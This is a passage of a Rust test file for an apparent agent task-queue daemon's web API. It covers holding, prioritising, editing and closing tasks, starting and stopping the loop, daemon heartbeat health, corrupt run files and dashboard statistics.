6889 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6890 let f = Fixture::start().await;
6891 let queue = f.queue();
6892 let mut task = Task::new(
6893 "waiting on the migration".to_owned(),
6894 "Do the thing".to_owned(),
6895 PathBuf::from("/repo/magi"),
6896 Source::Human,
6897 );
6898 queue.put(&mut task).expect("file the task");
6899
6900 let held = f
6901 .post(
6902 &format!("/api/queue/{}/hold", task.id),
6903 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6904 )
6905 .await;
6906 assert_eq!(held.status, 200, "{}", held.body);
6907 assert_eq!(held.json()["status_str"], "held");
6908 assert_eq!(
6909 held.json()["hold_reason"],
6910 "waiting for 20260101-000000-aaaa to land"
6911 );
6912
6913 let listed = f.get("/api/queue").await.json();
6914 assert_eq!(
6915 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6916 "the card reads the reason off the same list route"
6917 );
6918
6919 let mut plain = Task::new(
6922 "no reason given".to_owned(),
6923 "Do another thing".to_owned(),
6924 PathBuf::from("/repo/magi"),
6925 Source::Human,
6926 );
6927 queue.put(&mut plain).expect("file the task");
6928 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6929 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6930 assert!(held_plain.json()["hold_reason"].is_null());
6931
6932 let released = f
6933 .post(&format!("/api/queue/{}/release", task.id), None)
6934 .await;
6935 assert_eq!(released.status, 200);
6936 assert!(
6937 released.json()["hold_reason"].is_null(),
6938 "a release must clear the reason so the next hold does not inherit it"
6939 );
6940 }
6941
6942 #[tokio::test]
6943 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6944 let f = Fixture::start().await;
6945 let queue = f.queue();
6946 let mut older = Task::new(
6947 "filed first".to_owned(),
6948 "x".to_owned(),
6949 PathBuf::from("/repo/magi"),
6950 Source::Human,
6951 );
6952 older.id = "20260101-000001-aaaa".to_owned();
6953 let mut newer = Task::new(
6954 "filed second".to_owned(),
6955 "x".to_owned(),
6956 PathBuf::from("/repo/magi"),
6957 Source::Human,
6958 );
6959 newer.id = "20260101-000002-bbbb".to_owned();
6960 queue.put(&mut older).expect("file older");
6961 queue.put(&mut newer).expect("file newer");
6962
6963 let before = f.get("/api/queue").await.json();
6966 assert_eq!(before[0]["id"], newer.id);
6967 assert_eq!(before[1]["id"], older.id);
6968
6969 let raised = f
6973 .post(
6974 &format!("/api/queue/{}/priority", older.id),
6975 Some(r#"{"priority":10}"#),
6976 )
6977 .await;
6978 assert_eq!(raised.status, 200, "{}", raised.body);
6979 assert_eq!(raised.json()["priority"], 10);
6980
6981 let after = f.get("/api/queue").await.json();
6982 let names: Vec<&str> = after
6983 .as_array()
6984 .unwrap()
6985 .iter()
6986 .map(|t| t["id"].as_str().unwrap())
6987 .collect();
6988 assert_eq!(names[0], older.id, "the raised task now sorts first");
6992 }
6993
6994 #[tokio::test]
6995 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6996 let f = Fixture::start().await;
6997 let queue = f.queue();
6998 let mut task = Task::new(
6999 "in flight".to_owned(),
7000 "x".to_owned(),
7001 PathBuf::from("/repo/magi"),
7002 Source::Human,
7003 );
7004 task.start("20260902-140502-bbbb".to_owned());
7005 queue.put(&mut task).expect("file the task");
7006
7007 let res = f
7008 .post(
7009 &format!("/api/queue/{}/priority", task.id),
7010 Some(r#"{"priority":9}"#),
7011 )
7012 .await;
7013 assert_eq!(res.status, 400, "{}", res.body);
7014 assert!(
7015 res.json()["error"]
7016 .as_str()
7017 .is_some_and(|e| e.contains("running")),
7018 "{}",
7019 res.body
7020 );
7021 assert_eq!(
7022 queue.get(&task.id).expect("reload").priority,
7023 0,
7024 "the refused write must not partially apply"
7025 );
7026 }
7027
7028 #[tokio::test]
7029 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
7030 let f = Fixture::start().await;
7031 let queue = f.queue();
7032 let mut task = Task::new(
7033 "old title".to_owned(),
7034 "old instruction".to_owned(),
7035 PathBuf::from("/repo/magi"),
7036 Source::Agent {
7037 run: "20260101-000000-beef".to_owned(),
7038 node: "implement".to_owned(),
7039 },
7040 );
7041 task.runs.push("20260101-000000-beef".to_owned());
7042 queue.put(&mut task).expect("file the task");
7043 let created_at = task.created_at;
7044
7045 let edited = f
7046 .post(
7047 &format!("/api/queue/{}/edit", task.id),
7048 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
7049 )
7050 .await;
7051 assert_eq!(edited.status, 200, "{}", edited.body);
7052 let body = edited.json();
7053 assert_eq!(body["title"], "new title");
7054 assert_eq!(body["instruction"], "new instruction");
7055 assert_eq!(body["id"], task.id, "editing must not mint a new id");
7056 assert_eq!(body["created_at"], created_at.to_string());
7057 assert_eq!(
7058 body["source"]["kind"], "agent",
7059 "editing a task an agent filed must not turn it human: {body}"
7060 );
7061 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
7062
7063 let reloaded = queue.get(&task.id).expect("reload");
7064 assert_eq!(reloaded.title, "new title");
7065 assert_eq!(reloaded.instruction, "new instruction");
7066 }
7067
7068 #[tokio::test]
7069 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
7070 let f = Fixture::start().await;
7071 let queue = f.queue();
7072 let mut task = Task::new(
7073 "in flight".to_owned(),
7074 "do not touch".to_owned(),
7075 PathBuf::from("/repo/magi"),
7076 Source::Human,
7077 );
7078 task.start("20260902-140502-bbbb".to_owned());
7079 queue.put(&mut task).expect("file the task");
7080
7081 let res = f
7082 .post(
7083 &format!("/api/queue/{}/edit", task.id),
7084 Some(r#"{"title":"x","instruction":"y"}"#),
7085 )
7086 .await;
7087 assert_eq!(res.status, 400, "{}", res.body);
7088 assert!(
7089 res.json()["error"]
7090 .as_str()
7091 .is_some_and(|e| e.contains("running")),
7092 "{}",
7093 res.body
7094 );
7095 assert_eq!(
7096 queue.get(&task.id).expect("reload").instruction,
7097 "do not touch",
7098 "the refused edit must not change the file"
7099 );
7100 }
7101
7102 #[tokio::test]
7103 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
7104 let f = Fixture::start().await;
7105 let queue = f.queue();
7106 let mut task = Task::new(
7107 "busy".to_owned(),
7108 "Running right now".to_owned(),
7109 PathBuf::from("/repo/magi"),
7110 Source::Human,
7111 );
7112 queue.put(&mut task).expect("file the task");
7113 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7114
7115 let priority = f
7116 .post(
7117 &format!("/api/queue/{}/priority", task.id),
7118 Some(r#"{"priority":9}"#),
7119 )
7120 .await;
7121 assert_eq!(priority.status, 409, "{}", priority.body);
7122
7123 let edit = f
7124 .post(
7125 &format!("/api/queue/{}/edit", task.id),
7126 Some(r#"{"title":"x","instruction":"y"}"#),
7127 )
7128 .await;
7129 assert_eq!(edit.status, 409, "{}", edit.body);
7130 }
7131
7132 #[tokio::test]
7133 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
7134 let f = Fixture::start().await;
7135 let queue = f.queue();
7136 let mut task = Task::new(
7137 "shipped by hand".to_owned(),
7138 "merged outside the loop".to_owned(),
7139 PathBuf::from("/repo/magi"),
7140 Source::Agent {
7141 run: "20260101-000000-b455".to_owned(),
7142 node: "implement".to_owned(),
7143 },
7144 );
7145 task.runs.push("20260101-000000-b455".to_owned());
7146 task.runs.push("20260101-000000-9af4".to_owned());
7147 queue.put(&mut task).expect("file the task");
7148 let created_at = task.created_at;
7149
7150 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7151 assert_eq!(done.status, 200, "{}", done.body);
7152 assert_eq!(done.json()["status_str"], "done");
7153
7154 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
7155 assert_eq!(
7156 reloaded.runs,
7157 ["20260101-000000-b455", "20260101-000000-9af4"]
7158 );
7159 assert_eq!(
7160 reloaded.source,
7161 Source::Agent {
7162 run: "20260101-000000-b455".to_owned(),
7163 node: "implement".to_owned(),
7164 }
7165 );
7166 assert_eq!(reloaded.created_at, created_at);
7167 }
7168
7169 #[tokio::test]
7170 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
7171 let f = Fixture::start().await;
7176 let queue = f.queue();
7177 let mut task = Task::new(
7178 "landed while held".to_owned(),
7179 "x".to_owned(),
7180 PathBuf::from("/repo/magi"),
7181 Source::Human,
7182 );
7183 task.hold_manual(Some("waiting on 3ed9".to_owned()));
7184 queue.put(&mut task).expect("file the held task");
7185
7186 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7187 assert_eq!(done.status, 200, "{}", done.body);
7188 assert_eq!(done.json()["status_str"], "done");
7189 assert!(
7190 done.json()["hold_reason"].is_null(),
7191 "a done task cannot still be waiting on something: {}",
7192 done.body
7193 );
7194 }
7195
7196 #[tokio::test]
7197 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
7198 let f = Fixture::start().await;
7203 let queue = f.queue();
7204 let runs = f.runs();
7205 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
7206 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
7210
7211 let mut task = Task::new(
7212 "landed by hand".to_owned(),
7213 "x".to_owned(),
7214 PathBuf::from("/repo/magi"),
7215 Source::Human,
7216 );
7217 task.runs.push("20260101-000000-doa1".to_owned());
7218 task.runs.push("20260101-000000-doa2".to_owned());
7219 queue.put(&mut task).expect("file the task");
7220
7221 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7222 assert_eq!(done.status, 200, "{}", done.body);
7223
7224 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
7225 .expect("run still on disk under this fixture's own home");
7226 assert_eq!(
7227 reloaded_run.status,
7228 RunStatus::Superseded,
7229 "closing the task by hand must relabel the earlier blocked attempt exactly \
7230 like the loop's own settle path does"
7231 );
7232 }
7233
7234 #[tokio::test]
7235 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
7236 let f = Fixture::start().await;
7241 let queue = f.queue();
7242 let runs = f.runs();
7243 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
7244 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
7245
7246 let mut task = Task::new(
7247 "closed with nothing actually landed".to_owned(),
7248 "x".to_owned(),
7249 PathBuf::from("/repo/magi"),
7250 Source::Human,
7251 );
7252 task.runs.push("20260101-000000-dob1".to_owned());
7253 task.runs.push("20260101-000000-dob2".to_owned());
7254 queue.put(&mut task).expect("file the task");
7255
7256 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7257 assert_eq!(done.status, 200, "{}", done.body);
7258
7259 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
7260 .expect("run still on disk under this fixture's own home");
7261 assert_eq!(
7262 reloaded_run.status,
7263 RunStatus::Blocked,
7264 "the last recorded attempt never landed, so the earlier one must not be \
7265 relabelled as superseded by it"
7266 );
7267 }
7268
7269 #[tokio::test]
7270 async fn unknown_ids_are_json_not_found_on_both_stores() {
7271 let f = Fixture::start().await;
7272
7273 let run = f.get("/api/runs/nosuchrun").await;
7274 let task = f.post("/api/queue/nosuchtask/hold", None).await;
7275
7276 assert_eq!(run.status, 404);
7277 assert_eq!(task.status, 404);
7278 assert!(
7279 run.json()["error"]
7280 .as_str()
7281 .is_some_and(|e| e.contains("run")),
7282 "the error names what was not found: {}",
7283 run.body
7284 );
7285 assert!(
7286 task.json()["error"]
7287 .as_str()
7288 .is_some_and(|e| e.contains("task")),
7289 "the error names what was not found: {}",
7290 task.body
7291 );
7292 }
7293
7294 #[tokio::test]
7295 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
7296 let f = Fixture::start().await;
7297
7298 let missing = f.get("/api/health").await.json();
7299 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
7300
7301 write_daemon(
7302 f.home.path(),
7303 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7304 );
7305 let stale = f.get("/api/health").await.json();
7306 assert_eq!(
7307 stale["daemon"]["running"], false,
7308 "a minute without a heartbeat is a dead daemon, not a busy one"
7309 );
7310 assert!(
7311 stale["daemon"]["stale_for_secs"]
7312 .as_i64()
7313 .is_some_and(|s| s >= 55),
7314 "staleness is reported so the UI can say how long: {stale}"
7315 );
7316
7317 write_daemon(f.home.path(), Timestamp::now());
7318 let fresh = f.get("/api/health").await.json();
7319 assert_eq!(fresh["daemon"]["running"], true);
7320 assert_eq!(fresh["daemon"]["idle"], false);
7321 assert_eq!(fresh["daemon"]["pid"], 4242);
7322 assert_eq!(fresh["daemon"]["completed"], 7);
7323 assert_eq!(
7324 fresh["daemon"]["current"][0]["task"],
7325 "20260902-140501-aaaa"
7326 );
7327 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
7328 }
7329
7330 #[tokio::test]
7331 async fn the_loop_is_not_running_until_something_starts_it() {
7332 let f = Fixture::start().await;
7333
7334 let view = f.get("/api/loop").await.json();
7335 assert_eq!(view["running"], false);
7336 assert_eq!(
7337 view["owned"], false,
7338 "nobody owns a loop that does not exist: {view}"
7339 );
7340 assert_eq!(view["stopping"], false);
7341 assert_eq!(view["last_error"], Value::Null);
7342 assert_eq!(view["daemon"]["running"], false);
7343 assert_eq!(
7344 view["repo"], "/repo/magi",
7345 "the repository a start would use, named before it is started"
7346 );
7347 }
7348
7349 #[tokio::test]
7350 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
7351 let f = Fixture::start().await;
7352
7353 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7354 assert_eq!(res.status, 200, "{}", res.body);
7355 let view = res.json();
7356 assert_eq!(view["running"], true);
7357 assert_eq!(
7358 view["owned"], true,
7359 "the loop the UI started is the UI's own to stop: {view}"
7360 );
7361 assert_eq!(
7362 view["merge"],
7363 Value::Null,
7364 "no override was given, so each repository's own config decides"
7365 );
7366
7367 let health = f.get("/api/health").await.json();
7371 assert_eq!(health["loop"]["running"], true, "{health}");
7372 assert_eq!(health["loop"]["owned"], true, "{health}");
7373
7374 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7375 }
7376
7377 #[tokio::test]
7378 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
7379 let f = Fixture::start().await;
7380 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7381 assert_eq!(first.status, 200, "{}", first.body);
7382
7383 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7384 assert_eq!(
7385 again.status, 409,
7386 "two loops on one queue race for the same claims: {}",
7387 again.body
7388 );
7389 assert!(
7390 again.json()["error"]
7391 .as_str()
7392 .is_some_and(|e| e.contains("already running the loop")),
7393 "the refusal has to say why: {}",
7394 again.body
7395 );
7396 assert_eq!(
7397 f.get("/api/loop").await.json()["running"],
7398 true,
7399 "and the loop that was already running is untouched by it"
7400 );
7401
7402 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7403 }
7404
7405 #[tokio::test]
7406 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
7407 let f = Fixture::start().await;
7408 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7409
7410 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7411 assert_eq!(
7412 res.status, 200,
7413 "the answer must not wait for the loop: a run in flight is tens of \
7414 minutes and the operator is holding a phone: {}",
7415 res.body
7416 );
7417
7418 let view = settled(&f, |v| v["running"] == false).await;
7419 assert_eq!(view["owned"], false);
7420 assert_eq!(
7421 view["stopping"], false,
7422 "a loop that has stopped is not still stopping: {view}"
7423 );
7424 assert_eq!(
7425 view["last_error"],
7426 Value::Null,
7427 "a loop that was asked to stop did not fail: {view}"
7428 );
7429
7430 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7433 assert_eq!(twice.status, 200, "{}", twice.body);
7434 }
7435
7436 #[tokio::test]
7437 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
7438 let f = Fixture::start().await;
7439 write_daemon(f.home.path(), Timestamp::now());
7442
7443 let view = f.get("/api/loop").await.json();
7444 assert_eq!(view["running"], false, "not in this process: {view}");
7445 assert_eq!(view["owned"], false, "and not this process's to control");
7446 assert_eq!(
7447 view["daemon"]["running"], true,
7448 "but a loop is alive somewhere, which is what the UI must say"
7449 );
7450 assert_eq!(view["daemon"]["pid"], 4242);
7451
7452 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
7453 let res = f.post("/api/loop", Some(body)).await;
7454 assert_eq!(
7455 res.status, 409,
7456 "neither button may pretend to work on someone else's loop: {}",
7457 res.body
7458 );
7459 assert!(
7460 res.json()["error"]
7461 .as_str()
7462 .is_some_and(|e| e.contains("4242")),
7463 "the refusal has to name the process the operator must go to: {}",
7464 res.body
7465 );
7466 }
7467 assert_eq!(
7468 f.get("/api/loop").await.json()["running"],
7469 false,
7470 "and the refusal started nothing"
7471 );
7472 }
7473
7474 #[tokio::test]
7475 async fn a_stale_status_file_is_not_a_foreign_owner() {
7476 let f = Fixture::start().await;
7477 write_daemon(
7478 f.home.path(),
7479 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7480 );
7481
7482 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7483 assert_eq!(
7484 res.status, 200,
7485 "a daemon killed a minute ago must not lock the loop out of its \
7486 own home for good: {}",
7487 res.body
7488 );
7489 assert_eq!(res.json()["running"], true);
7490
7491 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7492 }
7493
7494 #[tokio::test]
7495 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7496 let f = Fixture::start().await;
7497 let before = f.get("/api/health").await.json()["loop_rev"]
7498 .as_u64()
7499 .expect("a loop revision");
7500
7501 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7502
7503 let after = f.get("/api/health").await.json()["loop_rev"]
7504 .as_u64()
7505 .expect("a loop revision");
7506 assert!(
7507 after > before,
7508 "the loop is in-process state, so this counter is the only thing \
7509 that tells a second device the first one started it: {before} -> \
7510 {after}"
7511 );
7512
7513 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7514 }
7515
7516 #[tokio::test]
7517 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7518 let f = Fixture::with_loop(launch_broken).await;
7519
7520 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7521 assert_eq!(
7522 res.status, 200,
7523 "starting it is not the failure: {}",
7524 res.body
7525 );
7526
7527 let view = settled(&f, |v| v["last_error"].is_string()).await;
7528 assert_eq!(
7529 view["running"], false,
7530 "a loop that died must not read as running, or the operator has \
7531 nothing to press: {view}"
7532 );
7533 assert_eq!(view["owned"], false);
7534 assert!(
7535 view["last_error"]
7536 .as_str()
7537 .is_some_and(|e| e.contains("read-only file system")),
7538 "the phone is where a loop that died at 3am is visible: {view}"
7539 );
7540
7541 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7544 assert_eq!(again.status, 200, "{}", again.body);
7545 assert_eq!(
7546 again.json()["last_error"],
7547 Value::Null,
7548 "a fresh start does not keep showing why the last one died"
7549 );
7550 }
7551
7552 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
7564 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7565 let home = TempDir::new().expect("temp home");
7566 let runs = home.path().join("runs");
7567 std::fs::create_dir_all(&runs).expect("runs dir");
7568 let ui = Ui::new(
7569 Queue::at(home.path().join("queue")),
7570 Questions::at(home.path().join("questions")),
7571 Talks::at(home.path().join("talks")),
7572 runs,
7573 home.path().to_path_buf(),
7574 PathBuf::from("/repo/magi"),
7575 )
7576 .with_worktrees_root(home.path().join("wt"))
7577 .with_launch(launch_knocking_on_the_way_out);
7578 let looping = ui.looping();
7579 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7580 .await
7581 .expect("bind loopback");
7582 let addr = listener.local_addr().expect("local addr");
7583 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7584 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7585
7586 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7587 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7588
7589 let bound = std::sync::Mutex::new(None);
7604 hand_over(home.path(), &looping, served, || {
7605 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
7606 let attempt = loop {
7607 match std::net::TcpListener::bind(addr) {
7608 Ok(l) => {
7609 drop(l);
7610 break Ok(());
7611 }
7612 Err(e)
7613 if e.kind() == std::io::ErrorKind::AddrInUse
7614 && std::time::Instant::now() < deadline =>
7615 {
7616 std::thread::sleep(std::time::Duration::from_millis(10));
7617 }
7618 Err(e) => break Err(e.to_string()),
7619 }
7620 };
7621 *bound.lock().expect("bound") = Some(attempt);
7622 Ok(())
7623 })
7624 .await
7625 .expect("hand over");
7626
7627 assert_eq!(
7628 *PARK_HEARD.lock().expect("park heard"),
7629 Some(200),
7630 "the deck must answer while the loop is parking"
7631 );
7632 let attempt = bound
7633 .lock()
7634 .expect("bound")
7635 .take()
7636 .expect("the successor was started");
7637 assert!(
7638 attempt.is_ok(),
7639 "and the address must be free by the time it is: {attempt:?}"
7640 );
7641 }
7642
7643 #[tokio::test]
7644 async fn a_newer_daemon_status_file_still_renders() {
7645 let f = Fixture::start().await;
7646 std::fs::write(
7649 f.home.path().join("daemon.json"),
7650 serde_json::json!({
7651 "schema": 2,
7652 "updated_at": Timestamp::now().to_string(),
7653 "idle": true,
7654 "surprise": { "nested": [1, 2, 3] },
7655 })
7656 .to_string(),
7657 )
7658 .expect("write daemon.json");
7659
7660 let health = f.get("/api/health").await;
7661
7662 assert_eq!(health.status, 200);
7663 assert_eq!(health.json()["daemon"]["running"], true);
7664 }
7665
7666 #[tokio::test]
7667 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7668 let f = Fixture::start().await;
7669 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7670 let broken = f.runs().join("20260902-140502-bad");
7671 std::fs::create_dir_all(&broken).expect("run dir");
7672 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7673
7674 let list = f.get("/api/runs").await;
7675 let detail = f.get("/api/runs/20260902-140502-bad").await;
7676
7677 assert_eq!(list.status, 200);
7678 let listed = list.json();
7679 let ids: Vec<&str> = listed
7680 .as_array()
7681 .expect("an array")
7682 .iter()
7683 .map(|r| r["id"].as_str().expect("an id"))
7684 .collect();
7685 assert_eq!(
7686 ids,
7687 vec!["20260902-140501-good"],
7688 "one unreadable run must not cost the operator the whole history"
7689 );
7690 assert_eq!(detail.status, 500);
7691 assert!(
7692 detail.json()["error"]
7693 .as_str()
7694 .is_some_and(|e| e.contains("run.json")),
7695 "the failure names the file to look at: {}",
7696 detail.body
7697 );
7698 let health = f.get("/api/health").await;
7702 assert_eq!(health.json()["runs_unreadable"], 1);
7703 }
7704
7705 #[tokio::test]
7710 async fn stats_runs_unreadable_matches_health() {
7711 let f = Fixture::start().await;
7712 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7713 let broken = f.runs().join("20260902-140502-bad");
7714 std::fs::create_dir_all(&broken).expect("run dir");
7715 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7716
7717 let stats = f.get("/api/stats").await;
7718 let health = f.get("/api/health").await;
7719
7720 assert_eq!(stats.status, 200);
7721 assert_eq!(stats.json()["totals"]["runs"], 1);
7722 assert_eq!(stats.json()["runs_unreadable"], 1);
7723 assert_eq!(
7724 stats.json()["runs_unreadable"],
7725 health.json()["runs_unreadable"],
7726 "the dashboard and /api/health must never disagree about how many \
7727 runs could not be read"
7728 );
7729 }
7730
7731 #[tokio::test]
7732 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
7733 let f = Fixture::start().await;
7734 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7735 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
7736 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
7737
7738 let totals = &f.get("/api/stats").await.json()["totals"];
7739 assert_eq!(totals["runs"], 3);
7740 assert_eq!(totals["merged"], 1);
7741 assert_eq!(totals["stalled"], 1);
7742 assert_eq!(totals["in_progress"], 1);
7743 assert_eq!(totals["blocked"], 0);
7746 assert_eq!(totals["ready"], 0);
7747 }
7748
7749 #[tokio::test]
7750 async fn stats_advisors_report_proposals_and_reflection() {
7751 use crate::advise::{Advice, AdvisorRecord, Reflection};
7752 use crate::verdict::Proposal;
7753
7754 let f = Fixture::start().await;
7755 let mut state = RunState::new(
7756 PathBuf::from("/repo/magi"),
7757 "main".to_owned(),
7758 "0123456789abcdef".to_owned(),
7759 "task".to_owned(),
7760 Config::default(),
7761 );
7762 state.id = "20260902-140501-a".to_owned();
7763 state.status = RunStatus::Merged;
7764 state.advice = Some(Advice {
7765 records: vec![
7766 AdvisorRecord {
7767 seat: "advisor-1".to_owned(),
7768 agent: "alpha".to_owned(),
7769 proposal: Some(Proposal {
7770 approach: "do it".to_owned(),
7771 key_tradeoff: "speed over memory".to_owned(),
7772 risks: Vec::new(),
7773 touches: Vec::new(),
7774 why_not_naive: "breaks under load".to_owned(),
7775 }),
7776 error: None,
7777 duration_ms: 0,
7778 reflection: Reflection::Strong,
7779 },
7780 AdvisorRecord {
7781 seat: "advisor-2".to_owned(),
7782 agent: "alpha".to_owned(),
7783 proposal: None,
7784 error: Some("timed out".to_owned()),
7785 duration_ms: 0,
7786 reflection: Reflection::Absent,
7787 },
7788 ],
7789 synthesis: Some("blended brief".to_owned()),
7790 });
7791 let dir = f.runs().join(&state.id);
7792 std::fs::create_dir_all(&dir).expect("run dir");
7793 std::fs::write(
7794 dir.join("run.json"),
7795 serde_json::to_string_pretty(&state).expect("serialize run"),
7796 )
7797 .expect("write run.json");
7798
7799 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
7800 let alpha = advisors
7801 .as_array()
7802 .expect("an array")
7803 .iter()
7804 .find(|a| a["agent"] == "alpha")
7805 .expect("alpha row");
7806 assert_eq!(alpha["seated"], 2);
7807 assert_eq!(alpha["proposed"], 1);
7808 assert_eq!(alpha["absent"], 1);
7809 assert_eq!(alpha["strong"], 1);
7810 assert_eq!(alpha["faint"], 0);
7811 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
7812 }
7813
7814 #[tokio::test]
7815 async fn stats_release_bumps_split_clean_from_attention() {
7816 use crate::run::ReleaseBump;
7817
7818 let f = Fixture::start().await;
7819
7820 let mut clean = RunState::new(
7821 PathBuf::from("/repo/magi"),
7822 "main".to_owned(),
7823 "0123456789abcdef".to_owned(),
7824 "task".to_owned(),
7825 Config::default(),
7826 );
7827 clean.id = "20260902-140501-a".to_owned();
7828 clean.status = RunStatus::Merged;
7829 clean.release_bump = Some(ReleaseBump {
7830 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
7831 version: Some("1.0.0".to_owned()),
7832 automerge_enabled: true,
7833 merged_directly: false,
7834 problem: None,
7835 action_required: None,
7836 });
7837
7838 let mut blocked = RunState::new(
7839 PathBuf::from("/repo/magi"),
7840 "main".to_owned(),
7841 "0123456789abcdef".to_owned(),
7842 "task".to_owned(),
7843 Config::default(),
7844 );
7845 blocked.id = "20260902-140502-b".to_owned();
7846 blocked.status = RunStatus::Merged;
7847 blocked.release_bump = Some(ReleaseBump {
7848 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
7849 version: Some("1.0.1".to_owned()),
7850 automerge_enabled: false,
7851 merged_directly: false,
7852 problem: Some("checks red".to_owned()),
7853 action_required: Some("look at the PR".to_owned()),
7854 });
7855
7856 for state in [&clean, &blocked] {
7857 let dir = f.runs().join(&state.id);
7858 std::fs::create_dir_all(&dir).expect("run dir");
7859 std::fs::write(
7860 dir.join("run.json"),
7861 serde_json::to_string_pretty(state).expect("serialize run"),
7862 )
7863 .expect("write run.json");
7864 }
7865
7866 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7867 assert_eq!(bumps["merged"], 2);
7868 assert_eq!(bumps["recorded"], 2);
7869 assert_eq!(bumps["pr_opened"], 2);
7870 assert_eq!(bumps["automerge_enabled"], 1);
7871 assert_eq!(bumps["needs_attention"], 1);
7872 assert_eq!(bumps["clean"], 1);
7873 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
7874 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
7875 }
7876
7877 #[tokio::test]
7878 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
7879 let f = Fixture::start().await;
7880 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7881
7882 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7883 assert_eq!(bumps["merged"], 1);
7884 assert_eq!(bumps["recorded"], 0);
7885 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
7888 assert_eq!(bumps["automerge_rate"], Value::Null);
7891 assert_eq!(bumps["attention_rate"], Value::Null);
7892 }
7893
7894 #[tokio::test]
7895 async fn stats_queue_counts_come_from_the_live_queue() {
7896 let f = Fixture::start().await;
7897 let q = f.queue();
7898 let mut queued = Task::new(
7899 "queued task".to_owned(),
7900 "do it".to_owned(),
7901 PathBuf::from("/repo"),
7902 Source::Human,
7903 );
7904 q.put(&mut queued).expect("put queued");
7905 let mut held = Task::new(
7906 "held task".to_owned(),
7907 "do it later".to_owned(),
7908 PathBuf::from("/repo"),
7909 Source::Human,
7910 );
7911 held.hold_machine(Some("out of attempts".to_owned()));
7912 q.put(&mut held).expect("put held");
7913
7914 let queue = f.get("/api/stats").await.json()["queue"].clone();
7915 assert_eq!(queue["queued"], 1);
7916 assert_eq!(queue["held"], 1);
7917 assert_eq!(queue["running"], 0);
